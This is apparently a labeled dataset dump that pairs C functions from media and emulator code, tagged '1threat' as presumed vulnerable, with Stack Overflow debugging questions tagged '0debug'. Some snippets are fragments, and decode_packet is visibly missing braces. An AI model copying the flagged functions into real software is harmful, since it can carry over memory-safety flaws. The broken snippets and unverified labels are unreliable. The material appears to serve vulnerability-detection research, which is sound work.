QLIST_FOREACH_ENTRY(qlist, entry) {
QDict *qdict;
g_assert(qobject_type(entry->value) == QTYPE_QDICT);
qdict = qobject_to_qdict(entry->value);
g_assert_cmpint(qdict_size(qdict), ==, 3);
g_assert_cmpint(qdict_get_int(qdict, "integer"), ==, value_int + i);
g_assert_cmpint(qdict_get_bool(qdict, "boolean"), ==, value_bool);
g_assert_cmpstr(qdict_get_str(qdict, "string"), ==, value_str);
i++;
}
g_assert_cmpint(i, ==, max_items);
QDECREF(qlist);
qapi_free_TestStructList(head);
}
| 1threat |
Matrix multiplication error in matlab. Error: Matrix dimensions must agree : I keep getting the error matrix dimensions must agree. In the line
next_state1 = (p01<alphadt) .* (state==0);
I've tried changing the multiplication to just * with no improvement. What I've looked up [online][1] hasn't seemed to be able to help me. I don't understand matlab very well so you will have to be very specific in your explanation.
**Error**
Matrix dimensions must agree.
Error in q3>next_state (line 59)
next_state1 = (p01<alphadt) .* (state==0);
Error in q3>timeloop (line 49)
st(i+1,1:4) = next_state(st(i,1:4),a,B,1e-4);
Error in q3 (line 4)
m = timeloop(a,B);
Error in run (line 86)
evalin('caller', [script ';']);
**Code**
function main()
a = [0.0050,0.0109,0.0224];
B = [1.2151,0.6972,0.4000];
m = timeloop(a,B);
end
function m = timeloop(a,B)
st = zeros(49,4);
t = 0:0.001:0.05;
for i = (1:49)
st(i+1,1:4) = next_state(st(i,1:4),a,B,1e-4);
end
m = mean(prod(state,2))
end
function next_state = next_state(state,alpha,beta,dt)
nch = size(state,2);
p01 = rand(1,nch);
alphadt = repmat(alpha,1,nch)*dt;
betadt = repmat(beta,1,nch)*dt;
next_state1 = (p01<alphadt) .* (state==0);
next_state0 = (p01<betadt) .* (state==1);
next_state = state + next_state1 - next_state0;
end
[1]: https://se.mathworks.com/matlabcentral/answers/322080-how-can-i-fix-this-error-error-using-matrix-dimensions-must-agree | 0debug |
Code Will Not Compile, No Visible Errors : <p>The code is to simiulate selling stock using FIFO and LIFO. I am only trying to get FIFO to work right now, we are using the Strategy Pattern. Me and my friend believe the code we have is correct, as there are no errors untilyou run the code. Below I have all my classes (labeled 1-5, as well as the output(labeled Output))</p>
<p>Class 1</p>
<pre><code>package cop4814;
import java.io.File;
import java.io.FileNotFoundException;
import java.util.*;
public class Portfolio {
private SellStrategy strategy;
List<Transaction> buyList = new ArrayList<>();
List<Transaction> sellList = new ArrayList<>();
public boolean readDataFile(String path) {
try {
Scanner in = new Scanner(new File(path));
while (in.hasNextLine()) {
String[] fields = in.nextLine().split(",");
if (fields[0].equals("B")) {
buyList.add(new Transaction(fields));
} else if (fields[0].equals("S")) {
sellList.add(new Transaction(fields));
}
}
} catch (FileNotFoundException ex) {
System.out.println("Error: " + ex.toString());
return false;
}
return true;
}
public void processTransactions() {
for (Transaction t : sellList) {
System.out.println(strategy.sell(t,buyList));
}
}
public void setSellStrategy(SellStrategy howToSell) {
strategy = howToSell;
}
</code></pre>
<p>}</p>
<p>Class 2</p>
<pre><code>package cop4814;
import java.util.List;
public interface SellStrategy
{
public String sell(Transaction stockToSell, List<Transaction> buyList);
}
</code></pre>
<p>Class 3</p>
<pre><code>package cop4814;
import java.util.List;
public class Sell_FIFO implements SellStrategy {
public String sell(Transaction stockToSell, List<Transaction> buyList) {
//Find first occurrence of stockToSell
Transaction found = buyList.get(buyList.indexOf(stockToSell));
//Find difference between stockToSell and the first occurrence's shares
int diff = stockToSell.numShares - found.numShares;
//Loop to continue finding and remove stocks or shares as needed when the difference is greater than 0
while (diff > 0){
//remove from buy list
buyList.remove(stockToSell);
//find next stock to sell and find new diff
found = buyList.get(buyList.indexOf(stockToSell));
diff = stockToSell.numShares - found.numShares;
}
//Loop has stopped because diff is now 0 or LT 0
if (diff == 0) {
//remove stock
buyList.remove(stockToSell);
} else {
found.numShares = found.numShares - diff;
}
return "";
}
</code></pre>
<p>}</p>
<p>Class 4 (has my variables)</p>
<pre><code> package cop4814;
public class Transaction {
String action; // s or s
String ticker;
String datepurchased;
int numShares;
double purchPrice;
public Transaction(String[] fields) {
action = fields[0];
datepurchased = fields[1];
numShares = Integer.parseInt(fields[2]);
purchPrice = Double.parseDouble(fields[3]);
ticker = fields[4];
}
public boolean equals(Transaction o) {
return this.ticker.equals(o.ticker);
}
}
</code></pre>
<p>Class 5 (My test class)</p>
<pre><code>import cop4814.*;
public class PortfolioTester {
private static final String inputFilePath = "transactions.txt";
void start() {
Portfolio p = new Portfolio();
if( p.readDataFile( inputFilePath )) {
p.setSellStrategy( new Sell_LIFO() );
p.processTransactions(); // also prints the report
p.setSellStrategy( new Sell_FIFO() );
p.processTransactions(); // prints a second report
}
else {
System.out.println("Unable to open input file: " + inputFilePath );
}
}
public static void main(String[] args) {
new PortfolioTester().start();
}
}
</code></pre>
<p>Output </p>
<pre><code>Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: -1
at java.util.ArrayList.elementData(ArrayList.java:418)
at java.util.ArrayList.get(ArrayList.java:431)
at cop4814.Sell_FIFO.sell(Sell_FIFO.java:18)
at cop4814.Portfolio.processTransactions(Portfolio.java:43)
at PortfolioTester.start(PortfolioTester.java:13)
at PortfolioTester.main(PortfolioTester.java:21)
Java Result: 1
BUILD SUCCESSFUL (total time: 0 seconds)
</code></pre>
| 0debug |
static void set_lcd_pixel(musicpal_lcd_state *s, int x, int y, int col)
{
int dx, dy;
for (dy = 0; dy < 3; dy++)
for (dx = 0; dx < 3; dx++) {
s->ds->data[(x*3 + dx + (y*3 + dy) * 128*3) * 4 + 0] =
scale_lcd_color(col);
s->ds->data[(x*3 + dx + (y*3 + dy) * 128*3) * 4 + 1] =
scale_lcd_color(col >> 8);
s->ds->data[(x*3 + dx + (y*3 + dy) * 128*3) * 4 + 2] =
scale_lcd_color(col >> 16);
}
}
| 1threat |
int avpriv_snprintf(char *restrict s, size_t n, const char *restrict fmt, ...)
{
va_list ap;
int ret;
va_start(ap, fmt);
ret = avpriv_vsnprintf(s, n, fmt, ap);
va_end(ap);
return ret;
}
| 1threat |
uWSGI issue: dyld: Library not loaded: @rpath/libexpat.1.dylib : <p>Trying to run uwsgi in Sierra 10.12.6, I get the following error:</p>
<pre><code>dyld: Library not loaded: @rpath/libexpat.1.dylib
Referenced from: /usr/local/bin/uwsgi
Reason: Incompatible library version: uwsgi requires version 8.0.0 or later, but libexpat.1.dylib provides version 7.0.0
Abort trap: 6
</code></pre>
<p>I've tried:</p>
<pre><code>brew update
brew reinstall expat
</code></pre>
<p>and reinstalling uwsgi with pip, but no luck. Any idea what the fix would be?</p>
| 0debug |
Android Studio release build does not output aar : <p>I have create a very simple 'Android Library' module with only one class which builds fine in debug releasing build/output/library-debug.aar</p>
<p>But, when I switch to release, even though it says build successful, the aar is not there.</p>
<p>The Android Studio project only has this library module.</p>
<p>Thanks for advance.</p>
| 0debug |
void vnc_display_add_client(DisplayState *ds, int csock, int skipauth)
{
VncDisplay *vs = ds ? (VncDisplay *)ds->opaque : vnc_display;
vnc_connect(vs, csock, skipauth, 0);
}
| 1threat |
static int decode_packet(AVCodecContext *avctx, void *data,
int *got_frame_ptr, AVPacket* avpkt)
{
WMAProDecodeCtx *s = avctx->priv_data;
GetBitContext* gb = &s->pgb;
const uint8_t* buf = avpkt->data;
int buf_size = avpkt->size;
int num_bits_prev_frame;
int packet_sequence_number;
*got_frame_ptr = 0;
if (s->skip_packets > 0) {
s->skip_packets--;
return FFMIN(avpkt->size, avctx->block_align);
if (s->packet_done || s->packet_loss) {
s->packet_done = 0;
if (avctx->codec_id == AV_CODEC_ID_WMAPRO && buf_size < avctx->block_align) {
av_log(avctx, AV_LOG_ERROR, "Input packet too small (%d < %d)\n",
buf_size, avctx->block_align);
return AVERROR_INVALIDDATA;
if (avctx->codec_id == AV_CODEC_ID_WMAPRO) {
s->next_packet_start = buf_size - avctx->block_align;
buf_size = avctx->block_align;
} else {
s->next_packet_start = buf_size - FFMIN(buf_size, avctx->block_align);
buf_size = FFMIN(buf_size, avctx->block_align);
s->buf_bit_size = buf_size << 3;
init_get_bits(gb, buf, s->buf_bit_size);
if (avctx->codec_id != AV_CODEC_ID_XMA2) {
packet_sequence_number = get_bits(gb, 4);
skip_bits(gb, 2);
} else {
s->num_frames = get_bits(gb, 6);
packet_sequence_number = 0;
num_bits_prev_frame = get_bits(gb, s->log2_frame_size);
if (avctx->codec_id != AV_CODEC_ID_WMAPRO) {
skip_bits(gb, 3);
s->skip_packets = get_bits(gb, 8);
ff_dlog(avctx, "packet[%d]: nbpf %x\n", avctx->frame_number,
num_bits_prev_frame);
if (avctx->codec_id != AV_CODEC_ID_XMA2 && !s->packet_loss &&
((s->packet_sequence_number + 1) & 0xF) != packet_sequence_number) {
av_log(avctx, AV_LOG_ERROR,
"Packet loss detected! seq %"PRIx8" vs %x\n",
s->packet_sequence_number, packet_sequence_number);
s->packet_sequence_number = packet_sequence_number;
if (num_bits_prev_frame > 0) {
int remaining_packet_bits = s->buf_bit_size - get_bits_count(gb);
if (num_bits_prev_frame >= remaining_packet_bits) {
num_bits_prev_frame = remaining_packet_bits;
s->packet_done = 1;
save_bits(s, gb, num_bits_prev_frame, 1);
ff_dlog(avctx, "accumulated %x bits of frame data\n",
s->num_saved_bits - s->frame_offset);
if (!s->packet_loss)
decode_frame(s, data, got_frame_ptr);
} else if (s->num_saved_bits - s->frame_offset) {
ff_dlog(avctx, "ignoring %x previously saved bits\n",
s->num_saved_bits - s->frame_offset);
if (s->packet_loss) {
s->num_saved_bits = 0;
s->packet_loss = 0;
} else {
int frame_size;
s->buf_bit_size = (avpkt->size - s->next_packet_start) << 3;
init_get_bits(gb, avpkt->data, s->buf_bit_size);
skip_bits(gb, s->packet_offset);
if (s->len_prefix && remaining_bits(s, gb) > s->log2_frame_size &&
(frame_size = show_bits(gb, s->log2_frame_size)) &&
frame_size <= remaining_bits(s, gb)) {
save_bits(s, gb, frame_size, 0);
if (!s->packet_loss)
s->packet_done = !decode_frame(s, data, got_frame_ptr);
} else if (!s->len_prefix
&& s->num_saved_bits > get_bits_count(&s->gb)) {
s->packet_done = !decode_frame(s, data, got_frame_ptr);
} else
s->packet_done = 1;
if (s->packet_done && !s->packet_loss &&
remaining_bits(s, gb) > 0) {
save_bits(s, gb, remaining_bits(s, gb), 0);
s->packet_offset = get_bits_count(gb) & 7;
if (s->packet_loss)
return AVERROR_INVALIDDATA;
return get_bits_count(gb) >> 3; | 1threat |
Reverse an array? : <p>I'm trying to reverse an array, but I don't know how to get the correct output (4,3,2). My questions are; how do I print the output (using System.out.println())? Nothing I've tried works. My second question is; is the rest of my code correct?</p>
<pre><code>public static void main(String[] args) {
int arr[] = {2,3,4};
int i = 0;
int j = arr.length - 1;
while( i < j ) {
int temp = arr[i];
arr[i] = arr[j];
arr[j] = temp;
i++;
j--;
}
}
</code></pre>
| 0debug |
Login is currently incompatible with git bash/cygwin : <p>I just download this version Git-2.6.1-64-bit.exe my OS is windows 10 64bit.. why I cannot still log in it? is Git-2.6.1-64-bit.exe the latest one?</p>
<p>before it was MINWG32 now updated become MINWG64 but still I cannot login..help me solve this issues</p>
<p>I don't have any solution for this instead to use the cmd.exe.... but I need the flow of it...coz some of the commands cannot run in this environment...it's a big difference between a Linux-like environment... please post procedure/steps in deploying apps in heroku.</p>
<p>IT SAYS :
Login is currently incompatible with git bash/cygwin
In the meantime, login via cmd.exe
<a href="https://github.com/heroku/heroku-cli/issues/84" rel="noreferrer">https://github.com/heroku/heroku-cli/issues/84</a></p>
| 0debug |
Sort the interger elemets in a single pass time complexity of O(n) : <p>I need to sort this elements in single pass of o(n) timecomplexity</p>
<p>Ex :1 0 2 0 0 3 0 3 2 0 0 1</p>
| 0debug |
ERROR: (gcloud.app.deploy) INVALID_ARGUMENT: unable to resolve source : <p>I am trying to deploy a <code>go 1.11</code> runtime that used to work, but recently I've been getting: <code>ERROR: (gcloud.app.deploy) INVALID_ARGUMENT: unable to resolve source</code> errors. </p>
<p>Nothing in my <code>app.yaml</code> has changed, and the error message isn't helpful to understand what the issue could be. I ran it with the <code>--verbosity=debug flag</code> and get:</p>
<pre><code>Building and pushing image for service [apiv1]
DEBUG: Could not call git with args ('config', '--get-regexp', 'remote\\.(.*)\\.url'): Command '['git', 'config', '--get-regexp', 'remote\\.(.*)\\.url']' returned non-zero exit status 1
INFO: Could not generate [source-context.json]: Could not list remote URLs from source directory: /var/folders/18/k3w6w7f169xg4mypdwj7p4_c0000gn/T/tmp6IkZKx/tmphibUAo
Stackdriver Debugger may not be configured or enabled on this application. See https://cloud.google.com/debugger/ for more information.
INFO: Uploading [/var/folders/18/k3w6w7f169xg4mypdwj7p4_c0000gn/T/tmpVHKXol/src.tgz] to [staging.wildfire-app-backend.appspot.com/asia.gcr.io/wildfire-app-backend/appengine/apiv1.20190506t090359:latest]
DEBUG: Using runtime builder root [gs://runtime-builders/]
DEBUG: Loading runtimes manifest from [gs://runtime-builders/runtimes.yaml]
INFO: Reading [<googlecloudsdk.api_lib.storage.storage_util.ObjectReference object at 0x105ca9b10>]
DEBUG: Resolved runtime [go1.11] as build configuration [gs://runtime-builders/go-1.11-builder-20181217154124.yaml]
INFO: Using runtime builder [gs://runtime-builders/go-1.11-builder-20181217154124.yaml]
INFO: Reading [<googlecloudsdk.api_lib.storage.storage_util.ObjectReference object at 0x105b03b50>]
DEBUG: (gcloud.app.deploy) INVALID_ARGUMENT: unable to resolve source
Traceback (most recent call last):
File "/usr/local/Caskroom/google-cloud-sdk/latest/google-cloud-sdk/lib/googlecloudsdk/calliope/cli.py", line 985, in Execute
resources = calliope_command.Run(cli=self, args=args)
File "/usr/local/Caskroom/google-cloud-sdk/latest/google-cloud-sdk/lib/googlecloudsdk/calliope/backend.py", line 795, in Run
resources = command_instance.Run(args)
File "/usr/local/Caskroom/google-cloud-sdk/latest/google-cloud-sdk/lib/surface/app/deploy.py", line 90, in Run
parallel_build=False)
File "/usr/local/Caskroom/google-cloud-sdk/latest/google-cloud-sdk/lib/googlecloudsdk/command_lib/app/deploy_util.py", line 636, in RunDeploy
flex_image_build_option=flex_image_build_option)
File "/usr/local/Caskroom/google-cloud-sdk/latest/google-cloud-sdk/lib/googlecloudsdk/command_lib/app/deploy_util.py", line 411, in Deploy
image, code_bucket_ref, gcr_domain, flex_image_build_option)
File "/usr/local/Caskroom/google-cloud-sdk/latest/google-cloud-sdk/lib/googlecloudsdk/command_lib/app/deploy_util.py", line 287, in _PossiblyBuildAndPush
self.deploy_options.parallel_build)
File "/usr/local/Caskroom/google-cloud-sdk/latest/google-cloud-sdk/lib/googlecloudsdk/api_lib/app/deploy_command_util.py", line 450, in BuildAndPushDockerImage
return _SubmitBuild(build, image, project, parallel_build)
File "/usr/local/Caskroom/google-cloud-sdk/latest/google-cloud-sdk/lib/googlecloudsdk/api_lib/app/deploy_command_util.py", line 483, in _SubmitBuild
build, project=project)
File "/usr/local/Caskroom/google-cloud-sdk/latest/google-cloud-sdk/lib/googlecloudsdk/api_lib/cloudbuild/build.py", line 149, in ExecuteCloudBuild
build_op = self.ExecuteCloudBuildAsync(build, project)
File "/usr/local/Caskroom/google-cloud-sdk/latest/google-cloud-sdk/lib/googlecloudsdk/api_lib/cloudbuild/build.py", line 133, in ExecuteCloudBuildAsync
build=build,))
File "/usr/local/Caskroom/google-cloud-sdk/latest/google-cloud-sdk/lib/googlecloudsdk/third_party/apis/cloudbuild/v1/cloudbuild_v1_client.py", line 205, in Create
config, request, global_params=global_params)
File "/usr/local/Caskroom/google-cloud-sdk/latest/google-cloud-sdk/lib/third_party/apitools/base/py/base_api.py", line 731, in _RunMethod
return self.ProcessHttpResponse(method_config, http_response, request)
File "/usr/local/Caskroom/google-cloud-sdk/latest/google-cloud-sdk/lib/third_party/apitools/base/py/base_api.py", line 737, in ProcessHttpResponse
self.__ProcessHttpResponse(method_config, http_response, request))
File "/usr/local/Caskroom/google-cloud-sdk/latest/google-cloud-sdk/lib/third_party/apitools/base/py/base_api.py", line 604, in __ProcessHttpResponse
http_response, method_config=method_config, request=request)
HttpBadRequestError: HttpError accessing <https://cloudbuild.googleapis.com/v1/projects/wildfire-app-backend/builds?alt=json>: response: <{'status': '400', 'content-length': '114', 'x-xss-protection': '0'
, 'x-content-type-options': 'nosniff', 'transfer-encoding': 'chunked', 'vary': 'Origin, X-Origin, Referer', 'server': 'ESF', '-content-encoding': 'gzip', 'cache-control': 'private', 'date': 'Mon, 06 May 2
019 16:04:41 GMT', 'x-frame-options': 'SAMEORIGIN', 'alt-svc': 'quic=":443"; ma=2592000; v="46,44,43,39"', 'content-type': 'application/json; charset=UTF-8'}>, content <{
"error": {
"code": 400,
"message": "unable to resolve source",
"status": "INVALID_ARGUMENT"
}
}
>
ERROR: (gcloud.app.deploy) INVALID_ARGUMENT: unable to resolve
</code></pre>
<p>Any advice would be useful, I also tried it with <code>gcloud beta</code>, I rotated my credentials and was of no use. My user has <code>Owner</code> role, but I added individually all the roles that might be necessary </p>
<pre><code>App Engine Admin
App Engine Code Viewer
App Engine Deployer
App Engine Service Admin
Project Billing Manager
Cloud Build Service Account
Cloud Build Editor
Cloud Build Viewer
Owner
Storage Admin
</code></pre>
| 0debug |
Apache Airflow: Control over logging [Disable/Adjust logging level] : <p>I am using Airflow 1.7.1.3 installed using pip</p>
<p>I would like to limit the logging to ERROR level for the workflow being executed by the scheduler. Could not find anything beyond setting log files location in the settings.py file.</p>
<p>Also the online resources led me to this google group discussion <a href="https://groups.google.com/forum/#!topic/airbnb_airflow/EjwTpsd9Yi4" rel="noreferrer">here</a> but not much info here as well</p>
<p><strong>Any idea how to control logging in Airflow?</strong></p>
| 0debug |
static int kvm_ppc_register_host_cpu_type(void)
{
TypeInfo type_info = {
.name = TYPE_HOST_POWERPC_CPU,
.instance_init = kvmppc_host_cpu_initfn,
.class_init = kvmppc_host_cpu_class_init,
};
PowerPCCPUClass *pvr_pcc;
DeviceClass *dc;
pvr_pcc = kvm_ppc_get_host_cpu_class();
if (pvr_pcc == NULL) {
return -1;
}
type_info.parent = object_class_get_name(OBJECT_CLASS(pvr_pcc));
type_register(&type_info);
pvr_pcc = ppc_cpu_get_family_class(pvr_pcc);
dc = DEVICE_CLASS(pvr_pcc);
type_info.parent = object_class_get_name(OBJECT_CLASS(pvr_pcc));
type_info.name = g_strdup_printf("%s-"TYPE_POWERPC_CPU, dc->desc);
type_register(&type_info);
#if defined(TARGET_PPC64)
type_info.name = g_strdup_printf("%s-"TYPE_SPAPR_CPU_CORE, "host");
type_info.parent = TYPE_SPAPR_CPU_CORE,
type_info.instance_size = sizeof(sPAPRCPUCore),
type_info.instance_init = spapr_cpu_core_host_initfn,
type_info.class_init = NULL;
type_register(&type_info);
g_free((void *)type_info.name);
type_info.name = g_strdup_printf("%s-"TYPE_SPAPR_CPU_CORE, dc->desc);
type_register(&type_info);
g_free((void *)type_info.name);
#endif
return 0;
}
| 1threat |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.